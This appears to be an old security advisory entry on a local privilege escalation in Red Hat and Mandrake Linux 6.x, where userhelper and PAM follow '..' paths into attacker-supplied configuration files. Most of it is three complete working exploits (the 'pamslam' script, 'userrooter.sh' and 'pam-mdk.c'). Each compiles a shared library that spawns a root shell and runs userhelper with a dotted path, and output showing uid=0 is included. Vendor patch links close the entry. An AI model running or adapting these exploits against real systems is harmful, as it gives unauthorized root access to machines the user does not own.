|
COMMAND userhelper and PAM SYSTEMS AFFECTED Redhat Linux 6.0/6.1 PROBLEM Following is based on L0pht Security Advisory. Both 'pam' and 'userhelper' (a setuid binary that comes with the 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' being setuid means we can get root. The combination of the fact that both userhelper and PAM follow .. paths allows us to craft up a file that causes userhelper (by way of PAM) to dlopen any shared object we want as root. The exploit is simple, and utilizes the '-w' option of userhelper, which lets us specify a program to run with the privileges designated by PAM. This tries to only execute programs that have entries in /etc/security/console.apps, but since we get to specify the name, something like ../../../tmp/myprog gets us a file open path that looks like /etc/security/console.apps/../../../tmp/myprog. "strcat" is not a good way to keep a filename below a directory! After this hurdle, PAM is called to start up the binary, and it does the same thing, looking for the filename in /etc/pam.d. If we've placed a rogue pam.d configuration file in /tmp/myprog, then it can be pointed to /etc/pam.d/../../../tmp/myprog. In the pam.d configuration file, we get to pick a few shared libraries to dlopen, so at this point, we get root. The following exploit demonstrates this vulnerability by creating a 'rootshell library' that creates a shell when dlopened, creating a pam.d-style configuration file, and then running userhelper with the appropriately dotted path. Exploit: #!/bin/sh # # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com # # synopsis: # both 'pam' and 'userhelper' (a setuid binary that comes with the # 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to # _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' # being setuid means we can get root. # # fix: # No fuckin idea for a good fix. Get rid of the .. paths in userhelper # for a quick fix. Remember 'strcat' isn't a very good way of confining # a path to a particular subdirectory. # # props to my mommy and daddy, cuz they made me drink my milk. cat > _pamslam.c << EOF #include<stdlib.h> #include<unistd.h> #include<sys/types.h> void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf Derek Callaway posted another userhelper/PAM exploit: #!/bin/sh # userrooter.sh by S <super@innu.org> # RedHat PAM/userhelper(8) exploit # Hi to inNUENdo! LAME=`rpm -qf /usr/sbin/userhelper | awk -F'-' '{print $2}' | awk -F'.' '{print $2}'` if [ $LAME -gt 15 ] then echo "Machine doesn't appear to be vulnerable :-\\" echo "Trying anyway..." fi cat << EOF >/tmp/hello-root.c #include<unistd.h> #include<stdlib.h> void pam_sm_authenticate(void){ setuid(0); puts("userrooter by S"); system("/bin/sh"); exit(EXIT_SUCCESS); } void pam_sm_setcred(void){ setuid(0); puts("userrooter by S"); system("/bin/sh"); exit(EXIT_SUCCESS); } EOF cat << EOF >/tmp/login #%PAM-1.0 auth required /tmp/pamper.so EOF gcc -shared -fPIC -O2 -o /tmp/pamper.so /tmp/hello-root.c rm /tmp/hello-root.c chmod 0700 /tmp/login /usr/sbin/userhelper -w ../../../tmp/login rm /tmp/pamper.so rm /tmp/login or /* * pam-mdk.c (C) 2000 Paulo Ribeiro * * DESCRIPTION: * ----------- * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its * exploit (pamslam.sh) doesn't work on it (at least on my machine). So, * I created this C program based on it which exploits PAM/userhelper * and gives you UID 0. * * SYSTEMS TESTED: * -------------- * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1. * * RESULTS: * ------- * [prrar@linux prrar]$ id * uid=501(prrar) gid=501(prrar) groups=501(prrar) * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk * [prrar@linux prrar]$ ./pam-mdk * sh-2.03# id * uid=0(root) gid=501(prrar) groups=501(prrar) * sh-2.03# */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fp; strcpy(argv[0], "vi test.txt"); fp = fopen("abc.c", "a"); fprintf(fp, "#include<stdlib.h>\n"); fprintf(fp, "#include<unistd.h>\n"); fprintf(fp, "#include<sys/types.h>\n"); fprintf(fp, "void _init(void) {\n"); fprintf(fp, "\tsetuid(geteuid());\n"); fprintf(fp, "\tsystem(\"/bin/sh\");\n"); fprintf(fp, "}"); fclose(fp); system("echo -e auth\trequired\t$PWD/abc.so > abc.conf"); system("chmod 755 abc.conf"); system("gcc -fPIC -o abc.o -c abc.c"); system("ld -shared -o abc.so abc.o"); system("chmod 755 abc.so"); system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf"); system("rm -rf abc.*"); } /* pam-mdk.c: EOF */ It appears that Mandrake 6.0 is vulnerable too: [darron@maul darron]$ gcc pam-mdk.c -o pam-mdk [darron@maul darron]$ ./pam-mdk sh-2.03# id uid=0(root) gid=502(admin) groups=502(admin) sh-2.03# [darron@maul /etc]$ cat mandrake-release Linux Mandrake release 6.0 (Venus) SOLUTION Download the fix from RedHat at: Intel: ftp://updates.redhat.com/6.1/i386/pam-0.68-10.i386.rpm ftp://updates.redhat.com/6.1/i386/usermode-1.17-1.i386.rpm Alpha: ftp://updates.redhat.com/6.1/alpha/pam-0.68-10.alpha.rpm ftp://updates.redhat.com/6.1/alpha/usermode-1.17-1.alpha.rpm Sparc: ftp://updates.redhat.com/6.1/sparc/pam-0.68-10.sparc.rpm ftp://updates.redhat.com/6.1/sparc/usermode-1.17-1.sparc.rpm Source packages: ftp://updates.redhat.com/6.1/SRPMS/pam-0.68-10.src.rpm ftp://updates.redhat.com/6.1/SRPMS/usermode-1.17-1.src.rpm For Turbo Linux: rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/security/pam-0.72-5.i386.rpm rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-5.src.rpm The source rpms can be downloaded here: ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-3.src.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/usermode-1.18-1.src.rpm